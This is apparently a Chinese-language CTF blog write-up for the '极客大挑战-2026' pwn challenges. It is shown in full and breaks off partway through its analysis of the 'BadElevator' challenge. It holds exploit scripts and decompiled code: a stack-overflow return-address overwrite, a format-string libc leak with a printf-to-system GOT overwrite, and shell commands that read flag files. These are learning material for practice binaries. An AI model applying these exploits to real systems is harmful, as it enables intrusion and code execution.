haoo's tech blog ~/star-blog

post / CTF

极客大挑战-2026

7493 字 约 18 分钟 极客大挑战-2026/

Pwn

Sign In

考查的是接收并进行算术运算,直接上exp:

TOTAL = 10 + 10 + 20                        # Round1 + Round2 + Round3

ARITH = re.compile(rb'Calculate (-?\d+) ([-+*]) (-?\d+): $')
REV = re.compile(rb"Reverse the string '([A-Za-z]+)': $")
SWAP = re.compile(rb"Swap the case of '([A-Za-z]+)': $")
CAES = re.compile(rb"Caesar shift (\d+) on '([A-Za-z]+)': $")


def answer_of(tail):
"""tail = 已收到数据中最后一个 '\n' 之后的部分,即当前题面。"""
m = ARITH.search(tail)
if m:
a, op, b = int(m[1]), m[2], int(m[3])
return str(a + b if op == b'+' else a - b if op == b'-' else a * b).encode()
m = REV.search(tail)
if m:
return m[1][::-1]
m = SWAP.search(tail)
if m:
return m[1].swapcase()
m = CAES.search(tail)
if m:
k, s = int(m[1]), m[2]
return bytes((97 + (c - 97 + k) % 26) if 97 <= c <= 122
else (65 + (c - 65 + k) % 26) for c in s)
return None


def main():
for i in range(1, TOTAL + 1):
pending = b''
try:
while True:
pending += io.recvuntil(b': ') # 题面与轮次提示都以 ": " 结尾
ans = answer_of(pending.rsplit(b'\n', 1)[-1])
if ans is not None:
break
except EOFError:
log.failure('connection closed at question %d/%d', i, TOTAL)
return
io.sendline(ans) # 立即回包,抢 1s 窗口
if i % 10 == 0:
log.info('answered %d/%d', i, TOTAL)

log.success('all rounds passed -> system("/bin/sh")')
io.sendline(b'cat /flag* flag* ./flag* 2>/dev/null; echo SHELL_OK; id; pwd')
print(io.recvrepeat(3).decode('latin-1', 'replace'))
if sys.stdin.isatty():
io.interactive()


if __name__ == '__main__':
main()

Ennead

int hidden_maint()
{
int result; // eax
char p_nptr[32]; // [rsp+0h] [rbp-20h] BYREF

puts("[MAINT] maintenance channel opened.");
puts("[MAINT] authorized maintainers only, all actions are logged.");
printf("[MAINT] password> ");
result = read_line(p_nptr, 32);
if ( result >= 0 )
{
if ( check_pass(p_nptr) )
{
puts("[MAINT] identity verified, maintenance session started.");
maint_session = 1;
result = emergency_unlock();
maint_session = 0;
}
else
{
return puts("[MAINT] access denied, incident reported.");
}
}
return result;
}
int emergency_unlock()
{
int result; // eax
char v1[64]; // [rsp+0h] [rbp-40h] BYREF

puts("[MAINT] --- emergency unlock procedure ---");
puts("[MAINT] cutting mains power to the magnetic lock ...");
power_normal = 0;
puts("[MAINT] enter your personal authorization code to proceed:");
printf("[MAINT] code> ");
gets(v1);
result = printf("[MAINT] code rejected, power restored: \"%s\"\n", v1);
power_normal = 1;
return result;
}

存在栈溢出漏洞,但是想要利用这个漏洞,得先通过check_pass函数,进一步分析check_pass函数

_BOOL8 __fastcall check_pass(const char *p_p_nptr)
{
size_t n; // rax
char s2[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 n0x11; // [rsp+38h] [rbp-8h]

for ( n0x11 = 0; n0x11 <= 0x11; ++n0x11 )
s2[n0x11] = enc_pass[n0x11] ^ 0x37;
s2[n0x11] = 0;
n = strlen(p_p_nptr);
return strncmp(p_p_nptr, s2, n) == 0;
}

也就说我们输入的字符串必须和enc_pass[n0x11] ^ 0x37的结果一样才能通过,那么再看一下enc_pass里面存放的是什么

.rodata:0000000000402010 ; _BYTE enc_pass[18]
.rodata:0000000000402010 enc_pass db 7Ah, 3, 5Eh, 59h, 43h, 4, 59h, 3, 59h, 54h, 4, 1Ah
.rodata:0000000000402010 ; DATA XREF: check_pass:loc_4016BA↑o
.rodata:000000000040201C db 64h, 4, 54h, 45h, 4, 43h

那么就直接上exp了

enc_pass = [0x7A, 3, 0x5E, 0x59, 0x43, 4, 0x59, 3, 0x59, 0x54, 4, 0x1A, 0x64, 4, 0x54, 0x45, 4, 0x43]
for i in range(len(enc_pass)):
enc_pass[i] = enc_pass[i] ^ 0x37
print(bytes(enc_pass).decode())

sl(b"9")
sl(b"M4int3n4nc3-S3cr3t")

payload = cyclic(0x40 + 8) + p64(0x401853)
sl(payload)

Fortune

unsigned __int64 tell_fortune()
{
ssize_t v1; // [rsp+8h] [rbp-218h]
char buf[520]; // [rsp+10h] [rbp-210h] BYREF
unsigned __int64 v3; // [rsp+218h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("[FORTUNE] speak your wish> ");
v1 = read(0, buf, 0x1FFu);
if ( v1 > 0 )
{
if ( buf[v1 - 1] == 10 )
buf[v1 - 1] = 0;
else
buf[v1] = 0;
printf("[FORTUNE] your fortune: ");
printf(buf);
putchar(10);
}
return v3 - __readfsqword(0x28u);
}

存在格式化字符串漏洞,可以利用该漏洞泄露出canary的值与libc。首先找一下偏移是多少

pwndbg> fmtarg 0x7fffffffcc20 
The index of format argument : 8 (\"\%7$p\")
pwndbg> fmtarg 0x7fffffffce28
The index of format argument : 73 (\"\%72$p\")

接着编写脚本进行泄漏(当然这道题目用不到canary),泄漏出后再利用格式化字符串漏洞将printf的got表修改为system函数地址,最后再到tell_fortune函数输入/bin/sh从而获取到shell。exp如下:

puts_got = elf.got['puts']
printf_got = elf.got['printf']

sl(b"3")
payload = b"aaaaa%10$s+%73$p" + p64(puts_got)
sl(payload)
io.recvuntil(b"aaaaa")
puts_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
libc_base = puts_addr - libc.sym['puts']
io.recvuntil(b"+0x")
canary = int(io.recv(16), 16)
leak("libc_base", libc_base)
leak("canary", canary)

system_addr = libc_base + libc.sym['system']
payload_2 = fmtstr_payload(8, {printf_got: system_addr})

sl(b"3")
sl(payload_2)

BadElevator

一道比较有意思的题目,接下来一步一步分析。

首先因为开启了PIE、与canary保护,且程序内没有现成的后门函数,所以理应想到一个问题:该如何泄漏libc、基址、canary。经过分析发现,程序内部有一个show_log函数用于输出,那么是否可以利用该函数泄漏点什么呢?

ssize_t show_log()
{
_BYTE buf[32]; // [rsp+10h] [rbp-20h] BYREF

fwrite("log index> ", 1u, 0xBu, _bss_start);
read(0, buf, 0x20u);
write(1, "log entry: ", 0xBu);
return write(1, buf, 0x38u);
}

但是如何进入到该函数,这又是一个问题,想要进入到show_log函数,就必须先进入enter_maint函数,但是要进入到enter_maint函数,就得先进行一个判断。这个cmd_eq函数的作用就是用户输入的字符串依次与0x2A进行异或后,判断值是否与所给字符串一致

if ( n4 == 4 && cmd_eq((__int64)s_, "GKCD^") )
enter_maint();

_BOOL8 __fastcall cmd_eq(__int64 a1, const char *s)
{
size_t i; // [rsp+18h] [rbp-18h]
size_t v4; // [rsp+20h] [rbp-10h]

v4 = strlen(s);
for ( i = 0; i < v4; ++i )
{
if ( (*(_BYTE *)(a1 + i) ^ 0x2A) != s[i] )
return 0;
}
return *(_BYTE *)(a1 + v4) == 0;
}

因为s_是用户输入的,所以现在关键就是如何让n4的值为4。再进一步分析找到handle_call函数,只要满足里面的条件,就可以使得n4的值为4

unsigned __int64 handle_call()
{
int g_ev; // [rsp+Ch] [rbp-34h]
char nptr[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v3; // [rsp+38h] [rbp-8h]

v3 = __readfsqword(0x28u);
fwrite("floor> ", 1u, 7u, _bss_start);
if ( (int)readline(nptr, 32) >= 0 )
{
g_ev = atoi(nptr);
if ( g_ev <= 20 && g_ev >= -3 )
{
g_ev_1 = g_ev;
::g_ev = g_ev;
n4 = 0;
printf("arrived at floor %d\n", g_ev);
}
else
{
n4 = 4;
g_ev_0 = g_ev;
puts("!! HARD FAULT: out of range floor");
}
}
return v3 - __readfsqword(0x28u);
}

那么就回过头来,怎么利用show_log函数进行泄漏出我们想要的东西。首先在该函数里面是没有设置canary的,因此这里泄漏不了canary的值,只能泄漏基址,发现了个问题,因为我们只能输入0x20个字节,而输入距离rbp也是0x20字节,但是会输出0x38字节,也就说这里一定会泄露出该函数的返回地址的值。所以可以利用这个得到基址,从而PIE保护就没有效果了。

接下来就是最关键的地方了,怎么打ret2libc获取shell。在程序中有一个函数rebuild_map

unsigned __int64 rebuild_map()
{
unsigned __int64 v0; // rax
void *v1; // rsp
_BYTE v3[12]; // [rsp+8h] [rbp-50h] BYREF
int n64; // [rsp+14h] [rbp-44h]
int n0x80; // [rsp+18h] [rbp-40h]
int nbytes; // [rsp+1Ch] [rbp-3Ch]
_BYTE *v7; // [rsp+20h] [rbp-38h]
char nptr[40]; // [rsp+28h] [rbp-30h] BYREF
unsigned __int64 v9; // [rsp+50h] [rbp-8h]

v9 = __readfsqword(0x28u);
fwrite("floor count> ", 1u, 0xDu, _bss_start);
if ( (int)readline(nptr, 32) >= 0 )
{
n64 = atoi(nptr);
if ( n64 > 0 && n64 <= 64 )
{
fwrite("write offset> ", 1u, 0xEu, _bss_start);
if ( (int)readline(nptr, 32) >= 0 )
{
n0x80 = atoi(nptr);
if ( (unsigned int)n0x80 <= 0x80 )
{
fwrite("write length> ", 1u, 0xEu, _bss_start);
if ( (int)readline(nptr, 32) >= 0 )
{
nbytes = atoi(nptr);
if ( nbytes > 0 && nbytes <= 0x300 )
{
v0 = 16 * ((4 * n64 + 23LL) / 0x10uLL);
while ( v3 != &v3[-(v0 & 0xFFFFFFFFFFFFF000LL)] )
;
v1 = alloca(v0 & 0xFFF);
if ( (v0 & 0xFFF) != 0 )
*(_QWORD *)&v3[(v0 & 0xFFF) - 8] = *(_QWORD *)&v3[(v0 & 0xFFF) - 8];
v7 = v3;
fwrite("map data> ", 1u, 0xAu, _bss_start);
read(0, &v7[n0x80], nbytes);
}
else
{
puts("bad length");
}
}
}
else
{
puts("bad offset");
}
}
}
else
{
puts("bad count");
}
}
return v9 - __readfsqword(0x28u);
}

这个函数大致的功能

↑↓ 选择 ↵ 打开 Esc 关闭 输入关键词检索全文,或直接选择页面